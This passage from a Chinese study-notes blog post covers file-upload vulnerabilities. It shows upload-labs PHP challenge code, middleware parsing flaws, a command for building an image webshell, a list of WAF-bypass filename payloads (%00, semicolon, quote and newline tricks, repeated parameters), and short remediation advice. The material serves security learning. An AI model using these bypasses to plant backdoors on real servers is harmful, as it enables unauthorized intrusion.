            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
}
  • 通过%00截断来绕过判断

  • 图片

  • 20关代码可以采用数组注入。

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

图片

23. 文件上传之解析漏洞编辑器安全

图片

在这里插入图片描述

23.1 中间件解析漏洞

参考共享的中间件漏洞PDF
IIS6/ 7简要说明-本地搭建
Apache配置安全--vuthab
Apache换行解析-vulhub
Nginx解析漏洞-vulhub
Nginx文件名逻辑-vulhub
Apache 低版本解析漏洞
利用场景:
我们可以利用文件上传,上传一个不识别的文件后缀(x.php. xxx.yyy),apache 识别不了最后的yyy,向前解析直到识别,利用解析漏洞规则成功解析文件,随后后门代码被触发。
  • cmd命令行制作图片马:copy 1.png/b + 0.txt/a 10.png

  • 图片

  • linux低版本&IIS7.5的解析漏洞

  • 图片

23.2 编辑器漏洞

编辑器手册

  • 编辑器页面,看到这个要想到编辑器漏洞

  • 图片

  • 常见的编辑器 Fckeditor exp利用 Ueditor 漏洞利用

扩展
1.POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

2.EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

3.VUL(Vulnerability),泛指漏洞。

4.CVE漏洞编号,CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露,例如CVE-2015-0057、CVE-1999-0001等等。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
可以在https://cve.mitre.org/网站根据漏洞的CVE编号搜索该漏洞的介绍。
也可以在中文社区http://www.scap.org.cn/上搜索关于漏洞的介绍

5.0DAY漏洞和0DAY攻击
在计算机领域中,零日漏洞或零时差漏洞(英语:Zero-dayexploit)通常是指还没有补丁的安全漏洞,而零日攻击或零时差攻击(英语:Zero-dayattack)则是指利用这种漏洞进行的攻击。提供该漏洞细节或者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
零日漏洞及其利用代码不仅对犯罪黑客而言,具有极高的利用价值,一些国家间谍和网军部队,例如美国国家安全局和美国网战司令部也非常重视这些信息[1]。据路透社报告称美国政府是零日漏洞黑市的最大买家。

23.3 文件上传实战思路

1.上传文件和文件执行是两个东西
2.漏洞分类{解析漏洞、cms漏洞、其他漏洞【编辑器漏洞、cve漏洞、安全修复】}

思路:
如果有一个网站,要从文件上传的方向开始
第一步:先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/
如果有,如何找:
		字典扫描:扫描会员中心,文件上传的位置
找到后,如何利用:
		验证/绕过

24. 文件上传之 WAF 绕过及安全修复

#上传参数名解析:

明确哪些东西能修改?
Content-Disposition:一般可更改
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改

图片

#常见绕过方法:
数据溢出-防匹配(xxx....)	:就是在关键点前面写入大量的无用数据来干扰对后面主要数据的检测
符号变异-防匹配('	" 	; ):有的检测可能是基于单引号和双引号来获取数据,可以修改单引号或双引号的位置或增加删除单双引号来干扰waf
数据截断-防匹配(%00;	换行):
重复数据-防匹配(参数多次)

#Payload :
大量垃圾数据缓冲溢出(Ccontent-Disposition,filename等)

#单引号、双引号、分号
filename=x.php
filename="x.php
filename='x.php
filename="a.jpg;.php";

# %00、换行
filename="a.php%00.jpg"
filename="Content-Disposition : form-data;name="upload_file" ; x.php"
filename="x.jpg" ; filename="x.jpg" ; . . . ..filename="x.php";
filename="x.p
h
p";
  • ;截断

  • 图片

  • 重复参数

  • 图片

  • 借助白名单,在filename内写入前面的一些数据,最后再写入x.php,程序判定filename时发现有前面的数据就放行,遇到x.php后发现没有变量接收,然后放弃检测,但最后x.php上传给了filename

  • 图片

  • /截断

  • 图片

#文件上传安全修复方案
后端验证:采用服务端验证模式后缀检测:
基于黑名单,白名单过滤M工ME检测:
基于上传自带类型检测
内容检测:文件头,完整性检测

自带函数过滤:参考uploadlabs函数
自定义函数过滤:function check_file(){ }
WAF防护产品:宝塔,云盾,安全公司产品等

图片

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值